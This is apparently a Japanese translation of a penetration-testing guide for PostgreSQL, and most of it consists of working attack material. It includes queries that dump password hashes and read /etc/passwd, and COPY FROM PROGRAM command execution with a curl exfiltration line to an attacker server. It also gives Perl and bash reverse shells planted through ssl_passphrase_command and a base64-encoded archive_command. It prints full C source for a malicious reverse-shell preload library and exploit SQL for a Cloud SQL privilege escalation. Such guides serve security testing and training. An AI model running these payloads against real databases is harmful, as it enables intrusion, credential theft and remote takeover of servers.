5432,5433 - Pentesting Postgresql

Reading time: 37 minutes

基本情報

PostgreSQL は オブジェクトリレーショナルデータベースシステム として説明されており、オープンソース です。このシステムは SQL 言語を利用するだけでなく、追加機能で強化しています。その能力により、さまざまなデータ型や操作を処理できるため、開発者や組織にとって多用途な選択肢となっています。

デフォルトポート: 5432、もしこのポートがすでに使用されている場合、postgresql は使用されていない次のポート (おそらく 5433) を使用するようです。

PORT     STATE SERVICE
5432/tcp open  pgsql

接続と基本的な列挙

psql -U <myuser> # Open psql console with user
psql -h <host> -U <username> -d <database> # Remote connection
psql -h <host> -p <port> -U <username> -W <password> <database> # Remote connection

psql -h localhost -d <database_name> -U <User> #Password will be prompted
\list # List databases
\c <database> # use the database
\d # List tables
\du+ # Get users roles

# Get current user
SELECT user;

# Get current database
SELECT current_catalog;

# List schemas
SELECT schema_name,schema_owner FROM information_schema.schemata;
\dn+

#List databases
SELECT datname FROM pg_database;

#Read credentials (usernames + pwd hash)
SELECT usename, passwd from pg_shadow;

# Get languages
SELECT lanname,lanacl FROM pg_language;

# Show installed extensions
SHOW rds.extensions;
SELECT * FROM pg_extension;

# Get history of commands executed
\s

PostgreSQL データベースを悪用する方法 についての詳細は、以下を確認してください:

PostgreSQL injection

自動列挙

msf> use auxiliary/scanner/postgres/postgres_version
msf> use auxiliary/scanner/postgres/postgres_dbname_flag_injection

ブルートフォース

ポートスキャン

この研究によると、接続試行が失敗すると、dblinkはエラーの説明を含むsqlclient_unable_to_establish_sqlconnection例外をスローします。これらの詳細の例は以下に示されています。

SELECT * FROM dblink_connect('host=1.2.3.4
port=5678
user=name
password=secret
dbname=abc
connect_timeout=10');

• ホストがダウンしています

DETAIL: サーバーに接続できませんでした: ホストへのルートがありません "1.2.3.4" でサーバーが実行されていて、ポート 5678 で TCP/IP 接続を受け入れていますか？

• ポートが閉じています

DETAIL:  could not connect to server: Connection refused Is  the  server
running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?

• ポートが開いています

DETAIL:  server closed the connection unexpectedly This  probably  means
the server terminated abnormally before or while processing the request

または

DETAIL:  FATAL:  password authentication failed for user "name"

• ポートはオープンまたはフィルタリングされています

DETAIL:  could not connect to server: Connection timed out Is the server
running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?

PL/pgSQL関数では、現在例外の詳細を取得することはできません。ただし、PostgreSQLサーバーに直接アクセスできる場合は、必要な情報を取得できます。システムテーブルからユーザー名とパスワードを抽出することが不可能な場合は、前のセクションで説明したワードリスト攻撃手法を利用することを検討してください。これは、ポジティブな結果をもたらす可能性があります。

権限の列挙

ロール

興味深いグループ

• pg_execute_server_programのメンバーであれば、プログラムを実行できます
• pg_read_server_filesのメンバーであれば、ファイルを読み取ることができます
• pg_write_server_filesのメンバーであれば、ファイルを書き込むことができます

# Get users roles
\du

#Get users roles & groups
# r.rolpassword
# r.rolconfig,
SELECT
r.rolname,
r.rolsuper,
r.rolinherit,
r.rolcreaterole,
r.rolcreatedb,
r.rolcanlogin,
r.rolbypassrls,
r.rolconnlimit,
r.rolvaliduntil,
r.oid,
ARRAY(SELECT b.rolname
FROM pg_catalog.pg_auth_members m
JOIN pg_catalog.pg_roles b ON (m.roleid = b.oid)
WHERE m.member = r.oid) as memberof
, r.rolreplication
FROM pg_catalog.pg_roles r
ORDER BY 1;

# Check if current user is superiser
## If response is "on" then true, if "off" then false
SELECT current_setting('is_superuser');

# Try to grant access to groups
## For doing this you need to be admin on the role, superadmin or have CREATEROLE role (see next section)
GRANT pg_execute_server_program TO "username";
GRANT pg_read_server_files TO "username";
GRANT pg_write_server_files TO "username";
## You will probably get this error:
## Cannot GRANT on the "pg_write_server_files" role without being a member of the role.

# Create new role (user) as member of a role (group)
CREATE ROLE u LOGIN PASSWORD 'lriohfugwebfdwrr' IN GROUP pg_read_server_files;
## Common error
## Cannot GRANT on the "pg_read_server_files" role without being a member of the role.

テーブル

# Get owners of tables
select schemaname,tablename,tableowner from pg_tables;
## Get tables where user is owner
select schemaname,tablename,tableowner from pg_tables WHERE tableowner = 'postgres';

# Get your permissions over tables
SELECT grantee,table_schema,table_name,privilege_type FROM information_schema.role_table_grants;

#Check users privileges over a table (pg_shadow on this example)
## If nothing, you don't have any permission
SELECT grantee,table_schema,table_name,privilege_type FROM information_schema.role_table_grants WHERE table_name='pg_shadow';

機能

# Interesting functions are inside pg_catalog
\df * #Get all
\df *pg_ls* #Get by substring
\df+ pg_read_binary_file #Check who has access

# Get all functions of a schema
\df pg_catalog.*

# Get all functions of a schema (pg_catalog in this case)
SELECT routines.routine_name, parameters.data_type, parameters.ordinal_position
FROM information_schema.routines
LEFT JOIN information_schema.parameters ON routines.specific_name=parameters.specific_name
WHERE routines.specific_schema='pg_catalog'
ORDER BY routines.routine_name, parameters.ordinal_position;

# Another aparent option
SELECT * FROM pg_proc;

ファイルシステムアクション

ディレクトリとファイルの読み取り

この コミット から、定義された DEFAULT_ROLE_READ_SERVER_FILES グループ（pg_read_server_files と呼ばれる）および スーパーユーザー は、任意のパスで COPY メソッドを使用できます（genfile.c の convert_and_check_filename を確認してください）：

# Read file
CREATE TABLE demo(t text);
COPY demo from '/etc/passwd';
SELECT * FROM demo;

GRANT pg_read_server_files TO username;

他にもpostgres関数があり、ファイルを読み取ったりディレクトリをリストしたりすることができます。これらはスーパーユーザーと明示的な権限を持つユーザーのみが使用できます:

# Before executing these function go to the postgres DB (not in the template1)
\c postgres
## If you don't do this, you might get "permission denied" error even if you have permission

select * from pg_ls_dir('/tmp');
select * from pg_read_file('/etc/passwd', 0, 1000000);
select * from pg_read_binary_file('/etc/passwd');

# Check who has permissions
\df+ pg_ls_dir
\df+ pg_read_file
\df+ pg_read_binary_file

# Try to grant permissions
GRANT EXECUTE ON function pg_catalog.pg_ls_dir(text) TO username;
# By default you can only access files in the datadirectory
SHOW data_directory;
# But if you are a member of the group pg_read_server_files
# You can access any file, anywhere
GRANT pg_read_server_files TO username;
# Check CREATEROLE privilege escalation

より多くの関数はhttps://www.postgresql.org/docs/current/functions-admin.htmlで見つけることができます。

シンプルなファイル書き込み

スーパーユーザーと**pg_write_server_files**のメンバーのみが、コピーを使用してファイルを書き込むことができます。

copy (select convert_from(decode('<ENCODED_PAYLOAD>','base64'),'utf-8')) to '/just/a/path.exec';

GRANT pg_write_server_files TO username;

COPY は改行文字を処理できないため、base64 ペイロードを使用している場合でも、1 行で送信する必要があります。
この技術の非常に重要な制限は、copy はバイナリファイルを書き込むために使用できないことです。なぜなら、いくつかのバイナリ値を変更するからです。

バイナリファイルのアップロード

ただし、大きなバイナリファイルをアップロードするための他の技術があります:

Big Binary Files Upload (PostgreSQL)

ローカルファイル書き込みを介した PostgreSQL テーブルデータの更新

PostgreSQL サーバーファイルを読み書きするための必要な権限がある場合、PostgreSQL データディレクトリ内の関連ファイルノードを上書きすることによって、サーバー上の任意のテーブルを更新できます。この技術の詳細は こちらで確認できます。

必要な手順:

1. PostgreSQL データディレクトリを取得する

SELECT setting FROM pg_settings WHERE name = 'data_directory';

注意: 設定から現在のデータディレクトリパスを取得できない場合、SELECT version() クエリを通じて主要な PostgreSQL バージョンを照会し、パスをブルートフォースすることができます。Unix インストールの PostgreSQL の一般的なデータディレクトリパスは /var/lib/PostgreSQL/MAJOR_VERSION/CLUSTER_NAME/ です。一般的なクラスター名は main です。

2. 対象テーブルに関連付けられたファイルノードへの相対パスを取得する

SELECT pg_relation_filepath('{TABLE_NAME}')

このクエリは base/3/1337 のようなものを返すべきです。ディスク上のフルパスは $DATA_DIRECTORY/base/3/1337、すなわち /var/lib/postgresql/13/main/base/3/1337 です。

3. lo_* 関数を通じてファイルノードをダウンロードする

SELECT lo_import('{PSQL_DATA_DIRECTORY}/{RELATION_FILEPATH}',13337)

4. 対象テーブルに関連付けられたデータ型を取得する

SELECT
STRING_AGG(
CONCAT_WS(
',',
attname,
typname,
attlen,
attalign
),
';'
)
FROM pg_attribute
JOIN pg_type
ON pg_attribute.atttypid = pg_type.oid
JOIN pg_class
ON pg_attribute.attrelid = pg_class.oid
WHERE pg_class.relname = '{TABLE_NAME}';

5. PostgreSQL Filenode Editorを使用してファイルノードを編集し、すべての rol* ブールフラグをフル権限のために 1 に設定します。

python3 postgresql_filenode_editor.py -f {FILENODE} --datatype-csv {DATATYPE_CSV_FROM_STEP_4} -m update -p 0 -i ITEM_ID --csv-data {CSV_DATA}

6. 編集したファイルノードを lo_* 関数を介して再アップロードし、ディスク上の元のファイルを上書きします

SELECT lo_from_bytea(13338,decode('{BASE64_ENCODED_EDITED_FILENODE}','base64'))
SELECT lo_export(13338,'{PSQL_DATA_DIRECTORY}/{RELATION_FILEPATH}')

7. (オプション) 高コストの SQL クエリを実行してメモリ内のテーブルキャッシュをクリアします

SELECT lo_from_bytea(133337, (SELECT REPEAT('a', 128*1024*1024))::bytea)

8. これで、PostgreSQL に更新されたテーブル値が表示されるはずです。

pg_authid テーブルを編集することでスーパーユーザーになることもできます。次のセクションを参照してください 以下のセクション。

RCE

プログラムへの RCE

バージョン 9.3以降、スーパーユーザーおよびグループ pg_execute_server_program のメンバーのみが RCE のために copy を使用できます (例: 外部流出):

'; copy (SELECT '') to program 'curl http://YOUR-SERVER?f=`ls -l|base64`'-- -

例を実行する:

#PoC
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;
DROP TABLE IF EXISTS cmd_exec;

#Reverse shell
#Notice that in order to scape a single quote you need to put 2 single quotes
COPY files FROM PROGRAM 'perl -MIO -e ''$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.0.104:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;''';

GRANT pg_execute_server_program TO username;

または、metasploit の multi/postgres/postgres_copy_from_program_cmd_exec モジュールを使用します。
この脆弱性に関する詳細情報は こちら にあります。CVE-2019-9193 として報告されましたが、Postges はこれを 機能であり修正しない と宣言しました。

PostgreSQL 言語による RCE

RCE with PostgreSQL Languages

PostgreSQL 拡張機能による RCE

前の投稿から バイナリファイルをアップロードする方法 を 学んだ ら、PostgreSQL 拡張機能をアップロードして読み込むことで RCE を取得する ことを試みることができます。

RCE with PostgreSQL Extensions

PostgreSQL 設定ファイルによる RCE

PostgreSQL の 設定ファイル は postgres ユーザー によって 書き込み可能 であり、これはデータベースを実行しているユーザーです。したがって、スーパーユーザー として、ファイルシステムにファイルを書き込むことができ、したがってこのファイルを 上書き できます。

ssl_passphrase_command による RCE

この技術に関する詳細情報は こちら にあります。

設定ファイルには RCE に繋がるいくつかの興味深い属性があります：

• ssl_key_file = '/etc/ssl/private/ssl-cert-snakeoil.key' データベースのプライベートキーへのパス
• ssl_passphrase_command = '' プライベートファイルがパスワードで保護されている場合（暗号化されている）、PostgreSQL は この属性に示されたコマンドを実行します。
• ssl_passphrase_command_supports_reload = off この属性が on の場合、パスワードで保護されたキーがあるときに 実行されるコマンド は pg_reload_conf() が 実行されるときに 実行されます。

その後、攻撃者は次のことを行う必要があります：

1. サーバーからプライベートキーをダンプ
2. ダウンロードしたプライベートキーを暗号化：
3. rsa -aes256 -in downloaded-ssl-cert-snakeoil.key -out ssl-cert-snakeoil.key
4. 上書き
5. **現在の PostgreSQL 設定をダンプ
6. **前述の属性設定で 設定を上書き：
7. ssl_passphrase_command = 'bash -c "bash -i >& /dev/tcp/127.0.0.1/8111 0>&1"'
8. ssl_passphrase_command_supports_reload = on
9. pg_reload_conf() を実行

これをテストしていると、プライベートキー ファイルの権限が 640 である場合にのみ機能することに気付きました。これは root に所有され、ssl-cert または postgres グループ に属している必要があります（したがって、postgres ユーザーが読み取れるように）、_ /var/lib/postgresql/12/main_ に配置されている必要があります。

archive_command による RCE

この設定と WAL に関する 詳細情報はこちら。

設定ファイルで悪用可能な別の属性は archive_command です。

これが機能するためには、archive_mode 設定が 'on' または 'always' である必要があります。それが真であれば、archive_command のコマンドを上書きし、WAL（書き込み前ログ）操作を介して実行させることができます。

一般的な手順は次のとおりです：

1. アーカイブモードが有効かどうかを確認します： SELECT current_setting('archive_mode')
2. ペイロードで archive_command を上書きします。例えば、リバースシェル： archive_command = 'echo "dXNlIFNvY2tldDskaT0iMTAuMC4wLjEiOyRwPTQyNDI7c29ja2V0KFMsUEZfSU5FVCxTT0NLX1NUUkVBTSxnZXRwcm90b2J5bmFtZSgidGNwIikpO2lmKGNvbm5lY3QoUyxzb2NrYWRkcl9pbigkcCxpbmV0X2F0b24oJGkpKSkpe29wZW4oU1RESU4sIj4mUyIpO29wZW4oU1RET1VULCI+JlMiKTtvcGVuKFNUREVSUiwiPiZTIik7ZXhlYygiL2Jpbi9zaCAtaSIpO307" | base64 --decode | perl'
3. 設定をリロードします： SELECT pg_reload_conf()
4. WAL 操ションを強制的に実行し、アーカイブコマンドを呼び出します： SELECT pg_switch_wal() または一部の PostgreSQL バージョン用の SELECT pg_switch_xlog()

プリロードライブラリによる RCE

この技術に関する詳細情報は こちら にあります。

この攻撃ベクターは、次の設定変数を利用します：

• session_preload_libraries -- クライアント接続時に PostgreSQL サーバーによって読み込まれるライブラリ。
• dynamic_library_path -- PostgreSQL サーバーがライブラリを検索するディレクトリのリスト。

dynamic_library_path の値を、データベースを実行している postgres ユーザーによって書き込み可能なディレクトリ（例：/tmp/ ディレクトリ）に設定し、そこに悪意のある .so オブジェクトをアップロードします。次に、session_preload_libraries 変数に新しくアップロードしたライブラリを含めることで、PostgreSQL サーバーにそれを読み込ませます。

攻撃手順は次のとおりです：

1. 元の postgresql.conf をダウンロード
2. dynamic_library_path の値に /tmp/ ディレクトリを含めます。例： dynamic_library_path = '/tmp:$libdir'
3. session_preload_libraries の値に悪意のあるライブラリ名を含めます。例： session_preload_libraries = 'payload.so'
4. SELECT version() クエリを介して主要な PostgreSQL バージョンを確認
5. 正しい PostgreSQL 開発パッケージで悪意のあるライブラリコードをコンパイル サンプルコード：

#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include "postgres.h"
#include "fmgr.h"

#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif

void _init() {
/*
code taken from https://www.revshells.com/
*/

int port = REVSHELL_PORT;
struct sockaddr_in revsockaddr;

int sockt = socket(AF_INET, SOCK_STREAM, 0);
revsockaddr.sin_family = AF_INET;
revsockaddr.sin_port = htons(port);
revsockaddr.sin_addr.s_addr = inet_addr("REVSHELL_IP");

connect(sockt, (struct sockaddr *) &revsockaddr,
sizeof(revsockaddr));
dup2(sockt, 0);
dup2(sockt, 1);
dup2(sockt, 2);

char * const argv[] = {"/bin/bash", NULL};
execve("/bin/bash", argv, NULL);
}

コードをコンパイル：

gcc -I$(pg_config --includedir-server) -shared -fPIC -nostartfiles -o payload.so payload.c

6. ステップ 2-3 で作成した悪意のある postgresql.conf をアップロードし、元のものを上書き
7. ステップ 5 の payload.so を /tmp ディレクトリにアップロード
8. サーバーを再起動するか、SELECT pg_reload_conf() クエリを呼び出してサーバー設定をリロード
9. 次の DB 接続時に、リバースシェル接続を受け取ります。

Postgres Privesc

CREATEROLE Privesc

Grant

ドキュメント によると： CREATEROLE 権限を持つロールは、スーパーユーザー でない 任意のロール のメンバーシップを 付与または取り消すことができます。

したがって、CREATEROLE 権限を持っている場合、他の ロール（スーパーユーザーでない）へのアクセスを付与することができ、ファイルの読み書きやコマンドの実行のオプションを得ることができます：

# Access to execute commands
GRANT pg_execute_server_program TO username;
# Access to read files
GRANT pg_read_server_files TO username;
# Access to write files
GRANT pg_write_server_files TO username;

パスワードの変更

この役割を持つユーザーは、他の非スーパーユーザーのパスワードを変更することもできます：

#Change password
ALTER USER user_name WITH PASSWORD 'new_password';

Privesc to SUPERUSER

ローカルユーザーがパスワードを提供せずにPostgreSQLにログインできることが非常に一般的です。したがって、コードを実行する権限を取得したら、これらの権限を悪用して**SUPERUSER**ロールを付与できます：

COPY (select '') to PROGRAM 'psql -U <super_user> -c "ALTER USER <your_username> WITH SUPERUSER;"';

# "local"はUnixドメインソケット接続専用です
local   all             all                                     trust
# IPv4ローカル接続：
host    all             all             127.0.0.1/32            trust
# IPv6ローカル接続：
host    all             all             ::1/128                 trust

ALTER TABLE privesc

この書き込みでは、ALTER TABLE権限をユーザーに付与することでPostgres GCPでprivescが可能になった方法が説明されています。

別のユーザーをテーブルの所有者にすることを試みると、エラーが発生してそれを防ぐはずですが、どうやらGCPはそのオプションを非スーパーユーザーのpostgresユーザーに与えたようです：

この考えを、INSERT/UPDATE/ANALYZEコマンドがインデックス関数を持つテーブルで実行されるとき、関数がテーブルの所有者の権限でコマンドの一部として呼び出されるという事実と結びつけると、関数を使ってインデックスを作成し、そのテーブルに対してスーパーユーザーに所有者権限を与え、その後悪意のある関数を使ってテーブルに対してANALYZEを実行することが可能になります。これは、所有者の権限を使用してコマンドを実行できるからです。

GetUserIdAndSecContext(&save_userid, &save_sec_context);
SetUserIdAndSecContext(onerel->rd_rel->relowner,
save_sec_context | SECURITY_RESTRICTED_OPERATION);

エクスプロイト

1. 新しいテーブルを作成します。
2. インデックス関数にデータを提供するために、テーブルにいくつかの無関係なコンテンツを挿入します。
3. コード実行ペイロードを含む悪意のあるインデックス関数を開発し、不正なコマンドを実行できるようにします。
4. テーブルの所有者を「cloudsqladmin」にALTERします。これは、Cloud SQLがデータベースを管理および維持するために専用に使用するGCPのスーパーユーザーロールです。
5. テーブルにANALYZE操作を実行します。このアクションにより、PostgreSQLエンジンはテーブルの所有者「cloudsqladmin」のユーザーコンテキストに切り替わります。その結果、悪意のあるインデックス関数が「cloudsqladmin」の権限で呼び出され、以前は不正だったシェルコマンドの実行が可能になります。

PostgreSQLでは、このフローは次のようになります：

CREATE TABLE temp_table (data text);
CREATE TABLE shell_commands_results (data text);

INSERT INTO temp_table VALUES ('dummy content');

/* PostgreSQL does not allow creating a VOLATILE index function, so first we create IMMUTABLE index function */
CREATE OR REPLACE FUNCTION public.suid_function(text) RETURNS text
LANGUAGE sql IMMUTABLE AS 'select ''nothing'';';

CREATE INDEX index_malicious ON public.temp_table (suid_function(data));

ALTER TABLE temp_table OWNER TO cloudsqladmin;

/* Replace the function with VOLATILE index function to bypass the PostgreSQL restriction */
CREATE OR REPLACE FUNCTION public.suid_function(text) RETURNS text
LANGUAGE sql VOLATILE AS 'COPY public.shell_commands_results (data) FROM PROGRAM ''/usr/bin/id''; select ''test'';';

ANALYZE public.temp_table;

その後、shell_commands_results テーブルには実行されたコードの出力が含まれます：

uid=2345(postgres) gid=2345(postgres) groups=2345(postgres)

ローカルログイン

一部の誤設定された postgresql インスタンスでは、任意のローカルユーザーのログインが許可される場合があります。dblink 関数を使用して 127.0.0.1 からローカルに接続することが可能です。

\du * # Get Users
\l    # Get databases
SELECT * FROM dblink('host=127.0.0.1
port=5432
user=someuser
password=supersecret
dbname=somedb',
'SELECT usename,passwd from pg_shadow')
RETURNS (result TEXT);

CREATE EXTENSION dblink;

より多くの権限を持つユーザーのパスワードを持っているが、そのユーザーが外部IPからのログインを許可されていない場合、次の関数を使用してそのユーザーとしてクエリを実行できます：

SELECT * FROM dblink('host=127.0.0.1
user=someuser
dbname=somedb',
'SELECT usename,passwd from pg_shadow')
RETURNS (result TEXT);

この関数が存在するかどうかを確認するには、次のようにします:

SELECT * FROM pg_proc WHERE proname='dblink' AND pronargs=2;

SECURITY DEFINERを持つカスタム定義関数

この書き込みで、ペンテスターはIBMが提供するPostgresインスタンス内で権限昇格を行うことができました。なぜなら、彼らはSECURITY DEFINERフラグを持つこの関数を見つけたからです：

CREATE OR REPLACE FUNCTION public.create_subscription(IN subscription_name text,IN host_ip text,IN portnum text,IN password text,IN username text,IN db_name text,IN publisher_name text)
RETURNS text
LANGUAGE 'plpgsql'
    VOLATILE SECURITY DEFINER
    PARALLEL UNSAFE
COST 100

AS $BODY$
DECLARE
persist_dblink_extension boolean;
BEGIN
persist_dblink_extension := create_dblink_extension();
PERFORM dblink_connect(format('dbname=%s', db_name));
PERFORM dblink_exec(format('CREATE SUBSCRIPTION %s CONNECTION ''host=%s port=%s password=%s user=%s dbname=%s sslmode=require'' PUBLICATION %s',
subscription_name, host_ip, portNum, password, username, db_name, publisher_name));
PERFORM dblink_disconnect();
…

ドキュメントで説明されているように、SECURITY DEFINERを持つ関数は、それを所有するユーザーの権限で実行されます。したがって、関数がSQLインジェクションに対して脆弱であるか、攻撃者によって制御されるパラメータで特権的なアクションを行っている場合、それを悪用してPostgres内で権限を昇格させることができます。

前のコードの4行目に、関数がSECURITY DEFINERフラグを持っていることがわかります。

CREATE SUBSCRIPTION test3 CONNECTION 'host=127.0.0.1 port=5432 password=a
user=ibm dbname=ibmclouddb sslmode=require' PUBLICATION test2_publication
WITH (create_slot = false); INSERT INTO public.test3(data) VALUES(current_user);

そしてコマンドを実行します：

PL/pgSQLによるパスブルートフォース

PL/pgSQLは、SQLに比べてより高度な手続き制御を提供する完全なプログラミング言語です。これにより、プログラムのロジックを強化するためにループやその他の制御構造を使用できます。さらに、SQL文やトリガーは、PL/pgSQL言語を使用して作成された関数を呼び出すことができます。この統合により、データベースプログラミングと自動化に対するより包括的で多様なアプローチが可能になります。
この言語を悪用して、PostgreSQLにユーザーの資格情報をブルートフォースさせることができます。

PL/pgSQL Password Bruteforce

内部PostgreSQLテーブルの上書きによる特権昇格

PostgreSQLサーバーファイルを読み書きできる場合、内部のpg_authidテーブルに関連付けられたPostgreSQLのディスク上のファイルノードを上書きすることでスーパーユーザーになることができます。

この技術についての詳細はこちらを参照してください。

攻撃手順は次のとおりです：

1. PostgreSQLデータディレクトリを取得します
2. pg_authidテーブルに関連付けられたファイルノードへの相対パスを取得します
3. lo_*関数を通じてファイルノードをダウンロードします
4. pg_authidテーブルに関連付けられたデータ型を取得します
5. PostgreSQLファイルノードエディタを使用してファイルノードを編集し、すべてのrol*ブールフラグを1に設定して完全な権限を付与します。
6. lo_*関数を介して編集したファイルノードを再アップロードし、ディスク上の元のファイルを上書きします
7. (オプション) 高コストのSQLクエリを実行してメモリ内のテーブルキャッシュをクリアします
8. これで、フルスーパーメンバーの権限を持つことになります。

POST

msf> use auxiliary/scanner/postgres/postgres_hashdump
msf> use auxiliary/scanner/postgres/postgres_schemadump
msf> use auxiliary/admin/postgres/postgres_readfile
msf> use exploit/linux/postgres/postgres_payload
msf> use exploit/windows/postgres/postgres_payload

logging

postgresql.conf ファイル内で、次のように変更することで postgresql ログを有効にできます:

log_statement = 'all'
log_filename = 'postgresql-%Y-%m-%d_%H%M%S.log'
logging_collector = on
sudo service postgresql restart
#Find the logs in /var/lib/postgresql/<PG_Version>/main/log/
#or in /var/lib/postgresql/<PG_Version>/main/pg_log/

次に、サービスを再起動します。

pgadmin

pgadmin はPostgreSQLの管理および開発プラットフォームです。
パスワードは pgadmin4.db ファイル内にあります。
スクリプト内の decrypt 関数を使用してそれらを復号化できます: https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py

sqlite3 pgadmin4.db ".schema"
sqlite3 pgadmin4.db "select * from user;"
sqlite3 pgadmin4.db "select * from server;"
string pgadmin4.db

pg_hba

PostgreSQLにおけるクライアント認証は、pg_hba.confという設定ファイルを通じて管理されます。このファイルには、一連のレコードが含まれており、それぞれが接続タイプ、クライアントIPアドレス範囲（該当する場合）、データベース名、ユーザー名、および接続を一致させるために使用する認証方法を指定しています。接続タイプ、クライアントアドレス、要求されたデータベース、およびユーザー名に一致する最初のレコードが認証に使用されます。認証が失敗した場合のフォールバックやバックアップはありません。一致するレコードがない場合、アクセスは拒否されます。

pg_hba.confで利用可能なパスワードベースの認証方法は、md5、crypt、およびpasswordです。これらの方法は、パスワードの送信方法が異なります：MD5ハッシュ、crypt暗号化、または平文です。cryptメソッドは、pg_authidで暗号化されたパスワードと一緒に使用できないことに注意することが重要です。